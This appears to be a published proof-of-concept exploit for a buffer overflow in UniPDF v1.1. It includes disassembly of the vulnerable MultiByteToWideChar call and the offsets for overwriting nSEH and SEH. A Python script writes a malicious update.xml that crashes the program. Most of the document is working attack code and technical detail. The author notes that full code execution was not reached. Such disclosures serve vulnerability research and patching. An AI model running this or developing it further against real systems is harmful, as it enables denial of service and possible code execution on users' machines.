UniPDF 1.1 Buffer Overflow / Denial Of Service

`# Exploit Title: UniPDF v1.1 BufferOverflow, SEH overwrite DoS PoC  
# Google Dork: [none]  
# Date: 01/28/2015  
# Exploit Author: bonze  
# Email: [email protected]  
# Vendor Homepage: http://unipdf.com/  
# Software Link: http://unipdf.com/file/unipdf-setup.exe (Redirect to: http://unipdf-converter.en.softonic.com/download)  
# Version: 1.1  
# Tested on: Windows 7 SP1 EN  
# CVE : [none]  
  
# Note:  
# Function MultiByteToWideChar will overwrite RET and SEH pointer, but I can't make exception occur before StackCookie checking  
# Please tell me if you have any ideal  
  
#013E8012 |. 68 00020000 PUSH 200 ; /WideBufSize = 200 (512.)  
#013E8017 |. 8D8C24 9C0000> LEA ECX,DWORD PTR SS:[ESP+9C] ; |  
#013E801E |. 51 PUSH ECX ; |WideCharBuf  
#013E801F |. 52 PUSH EDX ; |StringSize  
#013E8020 |. 50 PUSH EAX ; |StringToMap  
#013E8021 |. 6A 00 PUSH 0 ; |Options  
#013E8023 |. 6A 00 PUSH 0 ; |CodePage = CP_ACP  
#013E8025 |. FF15 54B45101 CALL NEAR DWORD PTR DS:[<&KERNEL32.Multi> ; \MultiByteToWideChar  
#013E802B |. 8D87 08020000 LEA EAX,DWORD PTR DS:[EDI+208]  
  
  
# At Offset: 327-> overwrite nSEH  
# At Offset: 329-> overwrite SEH  
# badchar = 0x22  
  
buff2 = "A" * 325  
buff2+= "CC" # nSEH  
buff2+= "BB" # SEH  
crash2 = "<config>\n"  
crash2 += " <current Dat=\"1422420474\" />\n"  
crash2 += " <Dat Txt=\""+buff2+"\" />\n"  
crash2 += "</config>\n"  
  
# Copy file update.xml to UniPDF Application Folder and run UniPDF.exe  
file = open("update.xml","w")  
file.write(crash2)  
file.close()  
  
print "UniPDF v1.1 Crash PoC by bonze at FPT-IS"  
print "Email: [email protected]"  
print "File Created"  
  
`